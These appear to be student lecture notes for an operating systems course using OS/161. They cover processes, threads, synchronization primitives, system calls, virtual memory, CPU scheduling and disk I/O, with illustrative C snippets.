-- A _process_ is an instance of a program running -- Processes can spawn child processes -- Utilizes CPU better (throughput), lower latency -- Simplicity of programming -- Own view of the machine with abstractions -- Programs don't care which other programs are running -- Pointers are only relevant to one process - -### Abstractions - -- address space -- open files -- virtual CPU - -### Sections - -Programs have sections such as data and text - -### Creating processes - -Posix system calls available in `unistd.h` - -```c -int fork(void); -``` - -Creates a new process that is an exact copy of current one. Return process ID (PID) of new process to the parent. Returns 0 in child. - -```c -int waitpid(int pid, int *stat, int opt); -``` - -wait for process with id pid (-1 for any), set stat to the exit value, and opt is 0 or WNOHANG. Returns PID or -1 on error. - -```c -void exit(int status) -``` - -Current process ceases to exist. non-zero is error by convention. - -```c -int kill(int pid, int sig); -``` - -Sends signal sig to process pid. SIGTERM most common value, application can catch it for cleanup. SIGKILL stronger as it always kills the process. HUP stands for hang up or "reload configuration." - -```c -int execve(char *prog, char **argv, char **envp); -prog - absolute path of program run -argv - arguments to pass to main -envp - environment variables -``` - -Usually called through wrapper functions. Executes new program. Does not spawn that program. Replaces current program with that program. - -```c -int execvp(char *prog, char **argv) -// Searches PATH for prog -int execlp(char *prog, char *arg, ...)l -// List arguments one at a time, finish with NULL -``` - -```c -int dup2(int oldfd, int newfd); -// closes newfd if it was a valid descriptor -// makes newfd an exact copy of oldfd -// same offset on both -// stdin is 0, stdout is 1, stderr is 2. -``` - -```c -int fcntl(int fd, F_SETFD, int val); -// sets close on exec flag if val = 1, clears if val = 0 -// sets file descriptor non-inheritable by new program -``` - -```c -perror(char * arg) -``` - -Error friendly print - -### Pipes - -```c -int pipe(it fds[2]); -// returns two file descriptors in fds[0] and fds[1] -// writes to fds[1] will be read on fds[0] -// fds[0] returns EOF after last copy of fds[1] closes -// -1 is error, 0 is success -``` - -pipesh.c - -Use dup2 to read from the pipe\[1] and write from the pipe\[0] while maintaining the stdout and stdin. stderr is 2. - -### Implementing Processes - -- Process Control Block (PCB) is kept for each process -- `proc` in Unix, `task_struct` in Linux, `struct thread` in OS/161 -- Tracks state of process - - new and terminated at beginning & end of life - - running - - ready - can run, but kernel has chosen different process to run - - waiting -- Information necessary to run (registers, virtual memory mapping, etc, open files) -- Other data like credentials, signal mask, controlling terminal, priority, accounting stats, debugged, binary emulation, ... - -### Context Switch - -- Saving program counter and integer registers (Always) -- Special registers -- Condition codes -- Change virtual address translations - -Non-negligible cost - -- Save/restore floating point registers expensive -- Flushing TLB (memory translation hardware) - - HW Optimization 1: Don't flush kernel's own data from TLB - - HW Optimization 2: use tag to avoid flushing any data -- Cache misses - -## Threads - -- Multi-threaded programs share the address space. -- Typically one kernel thread for every process - -### POSIX Thread API - -```c -// create a new thread identified by thr with optional attributes, run fn with arg -int pthread_create(pthread_t *thr, pthread_attr_t *attr, void *(*fn)(void *), void *arg); - -// destroy current thread and return a pointer -void pthread_exit(void *return_value); - -// Wait for thread thread to exit and receive the return value -int pthread_join(pthread_t thread, void **return_value); - -// tell the OS scheduler to run another thread or process -void pthread_yield(); -``` - -and more - -### Limitations of Kernel Threads - -- syscalls take 100 cycles, function calls take 2 cycles -- fixed-size stack within kernel - -### Go Language Routines - -- lightweight, 100k go routines is practical - -### Implementing threads in OS/161 - -```c -int thread_fork(const char *name, struct proc *proc, - void (*entrypoint)(void *data1, unsigned long data2), void *data1, unsigned long data2) -// wrapper for pthread_create wrapper, does not call process fork -``` - -## Concurrency - -Data races occur without synchronization - -Options: - -- Atomic instructions: instantaneously modify a value -- Locks: prevent concurrent execution - -### Sequential Consistency - -Execution as if all operations were executed in some sequential order and that the operations of each processor occurred in the order specified by the program. - -Requirements for sequential consistency are maintaining program order on individual processors and ensuring writes are atomic. - -- Sequential consistency complicates write buffers since CPUs use many caches. -- We want to group writes to the same location (coalescing) -- Complicates non-blocking reads -- Thwarting of compiler optimizations - -Does not solve the problem of atomicity since modifying a value is 3 lines of code. - -### x86 Consistency - -Different choice for how to write like (cache, write cache and memory, write to memory only, uncacheable). - -### x86 Atomicity - -- `lock` - prefix to make a memory instruction atomic (locks bus for duration of instruction) - - can avoid locking if memory already exclusively cached - - all lock instructions totally ordered - - other memory instructions cannot be re-ordered w. locked ones - - locks are always ordered -- `xchg` -- `cmpxchg` -- `lfence` -- `sfence` -- `mfence` - -### Peterson's Solution - -- Assuming sequential consistency -- Assume two threads -- `int not_turn` -- `bool wants[2]` - -```c -for (;;) { - wants[i] = true; - not_turn = i; - while(wants[1-i] && not_turn == i) - // other thread wants in and not our turn - Critical_section(); - wants[i] = false; - Remainder_section(); -} -``` - -### Mutexes - -A mutex is a mutual exclusion lock. Thread packages typically provide _mutexes_: - -```c -int pthread_mutex_init(pthread_mutex_t *m, pthread_mutexattr_t attr); -int pthread_mutex_destroy(pthread_mutex_t *m) -int pthread_mutex_lock (pthread_mutex_t *m); -int pthread_mutex_unlock(pthread_mutex_t *m) - -// return 0 if successful, otherwise -1 (errno == EBUSY) -int pthread_mutex_trylock (pthread_mutex_t *m); -``` - -Only one thread acquires m at a time, others wait. All global data should be protected by a mutex. If mutexes are used properly, then we get behavior equivalent to sequential consistency. - -Want to wrap all shared memory writes with a mutex lock and unlock. - -```c -// Improved Producer -mutex_t mutex = MUTEX_INITIALIZER; -void producer (void *ignored) { - for (;;) { - item *nextProduced = produce_item (); - mutex_lock (&mutex); - while (count == BUFFER_SIZE) { // remember to do while and not if - mutex_unlock (&mutex); // allow other threads to lock - thread_yield (); - mutex_lock (&mutex); - } - buffer [in] = nextProduced; - in = (in + 1) % BUFFER_SIZE; - count++; - mutex_unlock (&mutex); - } -} - -// Improved Consumer -void consumer (void *ignored) { - for (;;) { - mutex_lock (&mutex); - while (count == 0) { - mutex_unlock (&mutex); - thread_yield (); - mutex_lock (&mutex); - } - item *nextConsumed = buffer[out]; - out = (out + 1) % BUFFER_SIZE; - count--; - mutex_unlock (&mutex); - consume_item (nextConsumed); - } -} -``` - -### Condition Variables - -Busy-waiting in application is a bad idea, since it consumes CPU. Instead of calling `thread_yield`, we can sleep until a condition is met. - -```c -int pthread_cond_init(pthread_cond_t *, ...); - -// unlock's m atomically and re-acquires it upon signal -int pthread_cond_wait(pthread_cond_t *c, pthread_mutex_t *m); - -// wake a single thread up -int pthread_cond_signal(pthread_cond_t *c); - -// wake all threads up (one at a time though) -int pthread_cond_broadcast(pthread_cond_t *c); -``` - -```c -mutex_t mutex = MUTEX_INITIALIZER; -cond_t nonempty = COND_INITIALIZER; -cond_t nonfull = COND_INITIALIZER; -// CV Producer -void producer (void *ignored) { - for (;;) { - item *nextProduced = produce_item (); - mutex_lock(&mutex); - - // remember to use WHILE to avoid race conditions - while (count == BUFFER_SIZE) - cond_wait(&nonfull, &mutex); - - buffer [in] = nextProduced; - in = (in + 1) % BUFFER_SIZE; - count++; - cond_signal(&nonempty); - mutex_unlock(&mutex); - } -} - -// CV Consumer -void consumer (void *ignored) { - for (;;) { - mutex_lock (&mutex); - // remember to use WHILE to avoid race conditions - while (count == 0) - cond_wait (&nonempty, &mutex); - item *nextConsumed = buffer[out]; - out = (out + 1) % BUFFER_SIZE; - count--; - cond_signal (&nonfull); - mutex_unlock (&mutex); - consume_item (nextConsumed); - } -} -``` - -Use a while loop with these conditions to avoid race conditions of being beat out by another consumer. - -### Semaphores - -- A Semaphore is initialized with an integer N. -- `sem_wait` will return only N more times -than `sem_signal` called - - first N calls to `sem_wait` do not block - -Fancy mutex where if n == 0, sem_wait will block. - -```c -int sem_init(sem_t *s, ..., unsigned int n); // proc_count_mutex = sem_create("proc_count_mutex",1); - -sem_wait(sem_t *s) (originally called P) // P(sem_t *s) - -sem_signal(sem_t *s) // V(sem_t *s) -``` - -## Synchronization - -### Motivation - - - -- Amdahl's law - - T(1): the time one core takes to complete the task - - B: the fraction of the job that must be serial - - n: number of cores - - Imagine if n was infinity - - Ultimate limit on parallel speedup - - Synchronization increases serial section size - -- Locking basics - - Lock whenever critical section is required and at least one is writing - -### Ordering requirements - -```c -while (test_and_set (&v->lock)) - ; // ensure lock is acquired before writing -v->val++; -// this tells the compiler not to reorder -asm volatile ("sfence" ::: "memory"); -v->lock = 0; -``` - -### MIPS Spinlocks - -```c -void spinlock_acquire { - ... - while(1) { - // first check if the lock is busy to reduce coherence traffic - if (spinlock_data_get(&lk->lk_lock) != 0) - continue; // saves CPU cycles - // attempt to acquire lock - if (spinlock_data_testandset(&lk->lk_lock) != 0) - continue; - break; - } - lk->lk_holder = mycpu; -} -``` - -### Atomics C11 - -Portable support for atomics. - -To implement mutexes you need atomics. Atomics guarantee -something will be written before the next line. (fences). With an Atomic type, all standard ops become sequentially consistent. There's also a variety of memory ordering from no memory ordering to full sequential consistency. - -```c -_Atomic(int) variable_name = 1; -atomic_fetch_add_explicit(&variable_name, 1, memory_order_relaxed); -atomic_fetch_add_explicit(&variable_name, -1, memory_order_relaxed); -atomic_thread_fence(memory_order_release); -atomic_store_explicit(&variable_name, 0, memory_order_relaxed); -int x = atomic_load_explicit(&variable_name); -atomic_thread_fence(memory_order_acquire); - -_Atomic(int) packet_count; -void recv_packet(...) { - ... - atomic_fetch_add_explicit(&packet_count, 1, memory_order_relaxed); - ... -} - -struct message msg_buf; -_Atomic(_Bool) msg_ready; - -void send(struct message *m) { - msg_buf = *m; - atomic_thread_fence(memory_order_release); - atomic_store_explicit(&msg_ready, 1, - memory_order_relaxed); -} -struct message *recv(void) { - _Bool ready = atomic_load_explicit(&msg_ready, - memory_order_relaxed); - if (!ready) - return NULL; - atomic_thread_fence(memory_order_acquire); - return &msg_buf; -} -``` - -Spinlock example. The atomic_flag is a special type without support for loads and store. Implemented lock free. - -```c -void spin_lock(atomic_flag *lock) { - while(atomic_flag_test_and_set_explicit(lock, memory_order_acquire)) {} -} -void spin_unlock(atomic_flag *lock) { - atomic_flag_clear_explicit(lock, memory_order_release); -} -``` - -### Cache Coherence - -- coherence means accesses to single memory location -- consistency means ordering between multiple locations - -### Multicore Caches - -Cache = performance but presents an opportunity for cores to disagree about memory. Cache is divided into chunks of bytes called cache lines. Bus or network is used. - -### 3-State Coherence Protocol (MSI) - -Cache lines have 3 states - -- Modified - - One cache has a copy needs to be written back to memory -- Shared - - At least one cache have a valid copy -- Invalid - - No data - -### Core and Bus Actions - -- Read (load) - - Cacheline enters shared state as data is read without modification intent and could come from cache or memory - - Write (store) - - Invalidates other cache copies - - Cacheline in shared - - Evict - - Writeback contents to memory if not dirty - - Discard if in shared state - -### Multithreaded Design - -Avoid false sharing: avoid placing data used by different threads in the same cache line. - -```c -int lock; -char _uused[bytes]; // before C11 / C++ 11 manual padding -alignas(64) struct foo f; // C11 / C++ 11 -``` - -Avoid contending on cache lines. - -### Deadlocks - -Both threads must lock and unlock in the same order. - -```c -lock(a); -lock(b); -unlock(b); -unlock(a); -``` - -### Solving Deadlocks - -- Avoid circular graphs -- Predefine an order in which each lock should be acquired -- You can use the address of the lock to determine locking order -- When there is a circularity, use a system wide lock or a partial ordering -- Can assert locking order statically (VMware ESX) - -### Wait Channels - -```c -// blocks calling thread on wait channel wc -void wchan_sleep(struct wchan *wc); - -// wakes all threads sleeping on the wait channel -void wchan_wakeall(struct wchan *wc): - -// unblocks one threads sleeping on the wait channel -void wchan_wakeone(struct wchan *wc); - -// lock wait channel operations -// prevents a race between sleep and wakeone -void wchan_lock(struct wchan *wc); -``` - -```c -// wait -P(struct semaphore *sem) { - spinlock_acquire(&sem->sem_lock); - while (sem->sem_count == 0) { - wchan_lock(sem->sem_wchan); - spinlock_release_(&sem->sem_lock); - wchan_sleep(sem->sem_wchan); - spinlock_acquire(&sem->sem_lock); - } - sem->sem_count--; - spinlock_release(&sem->sem_lock); -} - -// signal -V(struct semaphore *sem) { - spinlock_acquire(&sem->sem_lock) - sem->count++; - wchan_wakeone(sem->sem_wchan); - spinlock_release(&sem->sem_lock); -} -``` - -
Mutex Lock Implementation - -```c -struct lock { - struct wchan *wc; - struct spinlock lock; - int state; -} - -void lock_acquire(struct lock *l) { - spinlock_acquire(&l->lock); - while(l->state) { - wchan_lock(l->wc); - spinlock_release(l->lock); - wchan_sleep(l->wc); - spinlock_acquire(l->lock); - } - l->state = 1; - spinlock_release(&l->lock); -} - -void lock_release(struct lock *l) { - spinlock_acquire(&l->lock); - l->state = 0; - wchan_wakeone(l->wc); - spinlock_release(&l->lock); -} -``` - -
- -## System Calls - -System Calls: Application programmer interface (API) that -programmers use to interact with the operating system. They are also a class of exceptions. - -- Unprivileged code - - Application - - Syscall Library -- Privileged - - Kernel - -- sysctl(): Exposes operating system configuration -- ioctl(): Controlling devices - -### Privilege Modes - -- Kernel / Privileged Mode - Operating System - - Access all privileged CPU features - - Setup and mange interrupts - - Controls the system call interface - - Modify the TLB (virtual memory ... future lecture) -- User Mode - Applications - - Cannot read/write kernel memory - - Cannot directly call kernel functions - - System library is also kernel memory so library is secure - -### Mode Transitions - -Kernel Mode can only be entered through well defined entry points. - -#### Interrupts - -- Generated by external devices needing to signal -- Signal processor through pin or bus message -- Processor executes interrupt handler and preempts running program -- Non-maskable interrupts (NMI) are urgent system requests that cannot be disabled - -#### Exceptions - -- Caused by processor. E.g. divide by zero, page faults, CPU errors -- Also called faults -- Program errors: Divide-by-zero, illegal instructions -- Operating System Requests: Page Faults -- Hardware Errors: System check (bad memory or CPU failures) -- CPU stops at instruction that triggered the exception -- Control is transferred to a fixed location where the exception handler is located in privledged mode - -#### MIPS Exception Vectors - -interrupt (0), system call (8), or other exception - -```c -EX_IRQ 0 /* Interrupt */ -EX_MOD 1 /* TLB Modify (write to read-only page) */ -EX_TLBL 2 /* TLB miss on load */ -EX_TLBS 3 /* TLB miss on store */ -EX_ADEL 4 /* Address error on load */ -EX_ADES 5 /* Address error on store */ -EX_IBE 6 /* Bus error on instruction fetch */ -EX_DBE 7 /* Bus error on data load or store */ -EX_SYS 8 /* Syscall */ -EX_BP 9 /* Breakpoint */ -EX_RI 10 /* Illegal instruction */ -EX_CPU 11 /* Coprocessor unusable */ -EX_OVF 12 /* Arithmetic overflow */ -``` - -### System Call Handling - -- EX_SYS (8) exception - -1. Application loads the arguments into CPU registers -2. Load the system call number into register $v0 -3. Executes syscall instruction to trigger EX_SYS exception -4. Kernel processes the system call through the exception handler - - kernel stack - - create trapframe of the program state - - exception type - - type of system call - - run kernel function - - restore state from trapframe -5. Returns to userspace using rfe, return from exception instruction - -### Hardware Handling in MIPS R3000 - -- Fixed location exception handlers -- 0x8000_00**00** User TLB Handler (virtual memory) - - So frequent, handler is hand optimized assembly -- 0x8000_00**80** general exception handler -- First 512MB of memory is for the OS - -#### MIPS Coprocessor - -- MIPS CP0: system control coprocessor - - System Control Coprocessor (CP0) contains exception handling information - - c0_status - - c0_cause - - c0_epc - - c0_vaddr (fault associated address) - - c0_contex -- MIPS CP1 floating point coprocessor - -### MIPS Review - -- caller-saved registers -- t0-t9: temporary registers -- a0-a3: argument registers -- v0-v1: return values -- s0-s7: callee-saved registers -- jal: jump and link to $ra -- jr $ra: return from function -- registers are saved per-thread stack (stacks are not shared, memories are...) - -### Application Binary Interface - -- System call number in v0 -- First four arguments in a0, a1, a2, a3 -- Remaining arguments passed on the stack -- Success/fail in a3 and return value/error code in v0 - -#### System Call Numbering - -Defined in `kern/include/kern/syscall.h` - -### Execution Contexts - -The environment where functions execute including their -arguments, local variables, memory. - -- Three types of contexts: Application, kernel, interrupt. -- Context transitions - - Context switch: a transition between contexts - - Thread switch: a transition between threads - -#### Application Stack - -Stack made up of frames that contain locals, arguments, and spilled registers. _start frame. - -#### Context Switch User to Kernel - -- common_exception saves trapframe of the application context to the kernel stack -- mips_trap decodes the trapframe and the syscall -- syscall decodes arguments and calls sys_write -- syscall stores return value and error into trapframe -- common_exception restores the application context - -### Preemption - -- Can preempt a process when kernel gets control -- Vector controls through system calls and etc. -- Periodic timer -- Device interrupt -- Changing the running process is called context switch -- Processes can vector control to kernel through exceptions and I/O -- Changing the running process is called a context switch - -### Process Context Switch - -- Process Control Block -- Save state into first processes' PCB -- Reload state from other processes' PCB -- Save state into other processes' PCB -- Reload state from first processes's PCB - -#### Timer Interrupt - -- Like before, except EX_IRQ from timer means -- mainbus_interrupt -- timer_interrupt -- thread_yield to pick next thread -- thread_switch to save kernel thread state and restore thread state -- switchframe - -## Virtual Memory Hardware - -### Sharing Memory Issues - -- Protection - - Bug in one process corrupts memory in another - - Need to also protect against observing other's memory -- Transparency - - A process shouldn’t require particular physical memory bits -- Resource exhaustion - - Sum of all processors sizes > physical memory - -### Virtual Memory Goals - -- Applications don't see physical memory, only virutal addresses -- The Memory-Management Unit (hardware) relocates each load - - The MMU is usually patrt of the CPU - - Accessed w. privileged instructions (e.g., load bound reg) - - Translates from virtual to physical addresses - - Gives per-process view of memory called address space -- Prevents one app from messing with another’s memory -- Allows programs to see more memory than exists (relocate memory accesses to disk) - -### Virtual Memory Advantages - -- Can re-locate program while running -- Partially run in memory and on disk -- Idle processes' memory written to disk so that other processes can read - -### Load-time Linking - -- Linker patches addresses of symbols like printf -- How to enforce protection -- How to move once already in memory (Consider: data pointers) -- What if no contiguous free region fits program? - -### base + bound register - -- Two special privileged registers: base and bound -- When loading/storing, - - Check 0 ≤ virtual address < bound, else trap to kernel - - Physical address = virtual address + base -- To move proces in memory, change base register -- OS must reload base and bound register on context switch -- Need to segment memory to avoid - - expensive process growth - - sharing code/data - -### Segmentation - -Each process has may base/bound regs. Address space is built from many segments. Share/protect memory at segment granularity. Segment is specified in a virtual address. - -- Segment table - | \[Seg\] | base | bounds | rw | - | ----- | ---------- | ---------- | --- | - | 0 | 0x4000 | 0x6ff | 10 | - | 1 | 0x0000 | 0x4ff | 11 | - | 2 | 0x3000 | 0xfff | 11 | - | 3 | | | 00 | -- Virtual address indicates segment and an offset - - top bits of addr corresponds to 0-index row/segment in segment table, low bits select offset - -
-segment exercises: 0x0240, 0x1108, 0x265c, 0x3002, 0x1600 - -```c -0x0240 --> 0x4240 -0x1108 --> 0x0108 -0x265c --> 0x365c -0x3002 --> EXCEPTION -0x1600 --> OUT OF BOUNDS SINCE 0x0600 > 0x04ff -``` - -
- -If the segment is invalid (not in table or has invalid rw bits), an exception is thrown. - -- Requires translation hardware which could limit performance -- Segments not exactly transparent to program -- Segments need contiguous bytes of physical memory -- Leads to fragmentation - -### Fragmentation - -The inability to use free memory. - -#### External Fragmentation - -Free memory between segments that is too small to be used - -#### Internal Fragmentation - -Space inside a segment that was allocated for the stack; internal waste. - -### Paging - -- Divide memory up into small pages - - Map virtual pages to physical pages. Each process has separate mapping -- Certain operations give control back to OS - - writes to read-only pages - - invalid pages - - OS can change mapping -- Accessed and dirty bits -- Cache control -- Pages eliminates external fragmentation and pages are small enough that average internal fragmentation is .5 pages per "segment" -- Pages have a fixed size. X KB - - log2(X) = bits required for the page offset - - Least significant 12 bits are the offset when page size is 4KB -- Each process has a page table that maps Virtual Page Numbers to Physical Page Numbers - -![pages table](/images/cs-350/pages.webp) - -### MMUs - -Memory Management Units - -### Hardware Managed MMU - -- Hardware reloads TLB with pages from a page tables -- Typically hardware page tables are Radix Trees -- Requires complex hardware -- Examples: x86, ARM64, IBM POWER9+ - -#### Intel x86 Paging - -- Control registers are priviledged -- bits in a control register (%cr0) -- 4KB pages -- %c43 points to 4KB page directory -- 1024 page directory entries - - physical address of a page table -- page table has 1024 entries - - virtual 4K page per entry - -### TLB - -- x86 CPUs started using translation lookaside buffer (TLB) in caches to speedup page table lookup to avoid 3 memory references per load/store (page directory, page table, physical page access). -- requires flushing on context switch to avoid returning invalid page -- now each entry has a process ID to avoid flushing - -### OS - -- OS lives in same address space of process -- Permission bits -- Map kernel in boot loader - -### Software Managed MMU - -- Simpler hardware and asks software to reload pages -- Requires fast exception handling and optimized software -- Enables more flexibility in the TLB (e.g. variable page sizes) -- TLB fields: Virtual page, Pid, Page frame, NC (no cache), D\[irty], V(alid), Global (ignore PID) -- 64 64-bit entries - -TLB Instructions - -- twlbwr: write a random slot -- tlbwi: write a specific slot -- tlbr: read a specific slot -- tlbp: probe a slot containing an address - -Registers needed to be loaded - -- c0_entryhi: high bits of TLB entry -- c0_entrylo: low bits of TLB entry -- c0_index: TLB Index - -#### TLB Exceptions - -- UTLB Miss: Generated when the accessing useg without matching TLB entry -- TLB Miss: Generated when the accessing kseg2 without matching entry -- TLB Mod: Generated when writing to read-only page - -## Virtual Memory OS - -### Increasing Virtual Memory by Paging - -The number of pages for a memory system is the size of the memory divided by the size of each page. - -To translate a virtual address to a physical address, we replace the starting bits of the virtual address that corresponds to the -virtual page number, and replace it with the frame number. - -- Use disk to simulate larger virtual than physical mem -- Disk is much slower than memory so find 20% hot to put into memory and 80% cold into disk -- How to resume after a page fault - -Restarting Instructions - -- Faulting virtual address (In %c0_vaddr reg on MIPS) -- Address of instruction that caused fault (%c0_epc reg) -- Read or write, fetch, user access or kernel access? -- Hardware must allow resuming after a fault -- Idempotent instructions are easy - - A simple load or store instruction can be re-executed - -Superpages - -- Large mappings -- 2/4 MB mappings -- Sometimes more pages in L2 cache than TLB entries - -#### FIFO Eviction - -- Evict oldest fetched page in system - -#### LRU Page replacement - -- Worse for looping over memory (better to use MRU eviction then) -- Stamping timer is too expensive as it doubles memory traffic -- Keeping a doubly-linked list is annoying -- Better to approximate - -#### Clock Algorithm - -- Do FIFO but skip accessed pages -- Keep pages in circular FIFO list -- Scan all and find a page that isn't set and Evict - - If A = 1, set A = 0. If A = 0, evict -- Runs when there is very low memory -- When there is larger memory, use two clock hands at a fixed size. The first hands clears and the second hand picks evicted pages -- Can take advantage of hardware dirty bit to prefer clean pages over dirty page. A dirty page has to be written to the disk - -Or use n-bit accessed count instead of just A bit. On sweep, count = (A << (n - 1) | (count >> 1)). Evict the page with the lowest count. - -Random eviction avoids belady and double swaps by hypervisors, and is simple to implement. - -Databases are workload specific. - -#### Other Page Replacement Algorithms - -- Random eviction - - Used in hypervisors to avoid double swap -- LFU -- MFU -- Specific policies -- Naïve paging: 2 disk I/Os per fault - -### Page Buffering - -Keep pool of free page frames. On fault, evict victim page, and read into free page so that execution can continue while writing out evicted page which is then added to the page pool. - -### Page Allocation - -### Thrashing - -Threashing is when an application is in a constantly swapping pages in and out preventing the application from making forward progress at any reasonable rate. - -Process uses more memory than system has - -- working set - - How much cache/memory for process is required - - Only run processes that meet requirements -- page fault frequency - - PFF = page faults / instructions executed - - PFF > threshold = more memory? Swap out if no more memory - - PFF < threshdold = take away memory - -## Scheduling - -### CPU Scheduling - -Transition States - -- new -- admit → ready -- scheduler dispatch → running -- exit -- I/O or event wait → waiting -- running -- exit → Terminated -- waiting -- I/O or event completion → ready - -#### Scheduling Decisions - -1. Switches from running to waiting state -2. Switches from running to ready state -3. Switches from new/waiting to ready -4. Exits - -- Non-preemptive schedules use 1 & 4 only -- Preemptive schedulers run at all four points - -### First Come First Served - -If P1 = 24, P2 = 3, P3 = 3, - -- **Throughput** = jobs / total time = 3 / 30 = 0.1 jobs / sec. -- **Turnaround time** = sum of end times / jobs = (24 + 27 + 30) / 3 = 27 -- long periods where no I/O is issued and CPU held -- poor I/O device utilization - -### Bursts of Computation and I/O - -Jobs are both compute and I/O waiting. Therefore overlap I/O and compute from multiple jobs. - -### Shortest Job First - -- Schedule the job whose next CPU burst is the shortest -- Attempts to minimize turnaround time - - Ends up **minimizing waiting time** and **response time** -- With preemption, it is called shortest-remaining-time-first - - preemption means if a new job that has shorter CPU burst length, replace the job -- Requires estimating burst time because future cannot be predicted - - Exponentially weighted average - - Tn+1 = alpha * tn + (1 - alpha) * Tn -- Can lead to unfairness and starvation - -### Round Robin - -- Preempts job after some time (quantum) and move it to the back of a FIFO -- Disadvantages - - Context switching - - Saving and restoring registers - - Switching address spaces - - Cache, buffer cache, & TLB misses - - Slower than FCFS - -### Time Quantum - -- 10-100msec -- want larger than context switch cost so that context switching isn't completely suboptimal -- majority of bursts should be less than quantum, otherwise way too much switching -- not too large that it's basically FCFS - -### Priority Scheduling - -- Give a CPU to the process with highest priority -- SJF is priority but using CPU burst time -- Starvation - low priority processes may never execute -- Increase a processors priority as it waits - -### Multilevel Feedback Queue - -- Priorities of 0 to 127 and grouped into 32 run queues -- With each queue, run round robin -- Favour interactive jobs -- Run highest priority non-empty queue - -#### Process Priority - -- _pnice_: user-settable weighting factor -- _pestcpu_: per-process CPU usage - - Incremented whenever timer interrupt found proc. running - - Decayed every second while process runnable - - - Load is sampled average of length of run queue plus short-term sleep queue over last minute -- Run queue determined by _pusrpri_ / 4 - -- For sleeping threads, update _pestcpu_ when runnable using _pslptime_ to avoid unnecessary computes: - - - -### Priority Donation - -If lower priotity has a lock that medium priority wants, then the lower priority has the same priority as the medium. - -If H waits on a lock held by M, then the priotity of M and L both go up, whereas if H waits on just the lock held by L, only L gets a priority bump to H. - -### Borrowed Virtual Time Scheduler - -- Run process with lowest effective virtual time (E) -- Use weights to get each processes fraction of CPU (seconds per virtual time tick while process has CPU) -- track actual virtual time Ai += t / wi -- Ei = Ai - (warpi ? Wi : 0) - - Wi is warp factor (thread precedence) -- Run j if Ej <= Ei - C / wi - - C is the context switch cost - - Ignore context switch if j has just become runnable to avoid affecting response time - -BVT example - -![BVT example](/images/cs-350/bvt-example.webp) - -### Sleep / Wakeup - -- Increase actual time after wakeup (decreases priority) - - Otherwise starvation could occur on wakeup -- Scheduler Virtual Time (SVT) is the minimum A for all runnable threads -- When waking up a process, set A to max{A_i, SVT} -- Set A when voluntary sleep and not OS's doing (network ping is not OS's doing) -- Processes won't get more than their fair share by using this method - -### Real-time Threads - -- Some tasks like watching videos, should always be respected when they need CPU, so that's why a Warp factor exists as shown before -- When process i has warp enabled, then as long as it doesn't hold CPU for too long (Li), it's priority for the CPU is boosted when it needs to - -## I/O - -Realistic PC Architecture - -![realistic older PC architecture](/images/cs-350/pc-architecture.webp) - -I/O Bus PCI Example. Peripheral Component Interconnect Express (PCIe). - -![PCI I/O bus example](/images/cs-350/pci-io-bus.webp) - -### Memory and I/O buses - -- CPU has a bus to the Memory -- Devices have an I/O bus to the Memory -- Devices can appear to be Memory - -### Memory Types - -RAM stands for Random Access Memory. - -- Static RAM (SRAM) - - 4-6 transistors per bit - - very fast, cache slower memory - - two NOT gates -- Dynamic RAM (DRAM) - - 1 transistor per bit - - Capacitor + gate (charge indicates value) - - Slower comparator since charge leaks - - Re-write charge after reading -- Video RAM (VRAM) - - Write and read at the same time (dual ported) - -### Device Communication - -- Memory-mapped devices - - Physical addresses correspond to device registers - - load/store to get status/send instructions - - 216 port numbers - - per-range access control not useful - - OS has to map physical to virtual without caching - - physical address assigned at boot -- Device memory - - OS can write to the device through I/O bus -- Special I/O Instruction - - Some CPUs have special I/O instructions - - OS can allow user with finer granuality than a page -- DMA (direct memory access) - - Overlaps unrelated computation with moving data over I/O bus - - Typically then need to “poke” card by writing to device register - - Keep list of buffer locatioons in memory - - use the CPU only to transfer control, not for data transfer - - Network Interface Card (NIC) - - Bus interface logic uses memory to move packets to and from buffers in main memory - - Steps - 1. Tell device driver to transfer data to buffer at address X - 2. Driver tells device controller to transfer bytes to buffer X - 3. DMA transfer initiated for bytes C until C = 0; memory address increases and C decreases - 4. DMA interrupts CPU to signal completion - -### Driver Architecture - -- Entry points provided to kernel: Reset, ioctl, output, interrupt, read, write, strategy -- Need to synchronise - - Polling sucks because either CPU is blocked or high latency - - Card should interrupt CPU - - CPU asks card what occured - - High network packet arrival rate can prevent progress = mix of both - -```c -void sendbyte(uint8_t byte) { - /* Wait until BSY bit is 1. */ - while ((inb (0x379) & 0x80) == 0) delay(); - - /* Put the byte we wish to send on pins D7-0. */ - outb(0x378, byte); - /* Pulse STR (strobe) line to inform the printer - * that a byte is available */ - uint8_t ctrlval = inb(0x37a); - outb(0x37a, ctrlval | 0x01); - delay(); - outb(0x37a, ctrlval); -} -``` - -## Disks (I/O Subtopic) - -- Stack of magnetic platters - - Each platter is divided into [_concentric_](https://upload.wikimedia.org/wikipedia/commons/thumb/1/17/WA_80_cm_archery_target.svg/1200px-WA_80_cm_archery_target.svg.png) tracks and each track has sectors - - A stack of tracks with a fixed raidus is called a cylinder -- Disk arm assembly - - Arms rotate around pivot, all move together - - Arms contain disk heads–one for each cylinder - - Heads read and write data to platters - - One head active at a time - -![disk anatomy](/images/cs-350/disk-anatomy.webp) - -### Disk Positioning System - -- Move head to specific track - - Keep it there by resisting physical shocks, imperfect tracks, etc. -- Seeking - 1. speedup - accelerate arm to max speed or hafl way point - 2. coast - at max speed (for long seeks) - 3. slowdown - stops arm near destination - 4. settle - adjusts head to actual desired track -- Settle dominates very short seeks (~1ms) -- Short seeks dominated by speedup (acceleration of 40Gs) - -### Seeking - -- Head adjustments -- Settles take longer for writes because a checksum can be used to retry a read, but a write needs to be perfect otherwise another track got written to -- Disk keeps table of pivot motor power - - Maps seek distance to power and time - - Table set by periodic “thermal recalibration” - - Recalibration hurts audio-video -- Average seek time can be anything from seeking a third of the disk to a third of the time required to seek entire disk - -### Sectors - -- Disk interface presents linear array of sectors -- 512 bytes written atomically -- Disk handles mapping logical sector number to physical sector - - Zoning: puts more sectors on longer tracks - - Track skewing: sector 0 pos. varies by track to speed up sequential access across tracks - - Sparing: flawed sectors remapped elsewhere -- OS assumes disk is blackbox - - Larger logical sector \# difference = larger seek - - Can build table to estimate times through emperical tests - -### Disk Interface - -- Controls hardware, mediates access -- Connected to computer by bus that can be contended by multiple devices -- Command queueing -- Disk cache for read-ahead -- Write caching is possible but unstable data - -### Buses - -- SCSI - - Devices: host adapters & SCSI (bus) controllers - - Service Delivery Subsystem connects devices (SCSI bus) -- SCSI-2 bus (SDS) connects up to 8 devices - - Controllers can have > 1 logical units (LUNs) - - Controller built into disk - - Bridge controller can manage multiple devices -- Device is either initiator or target - - Traditionally host adapter was initiator, controller the target - - Controllers can be initiators 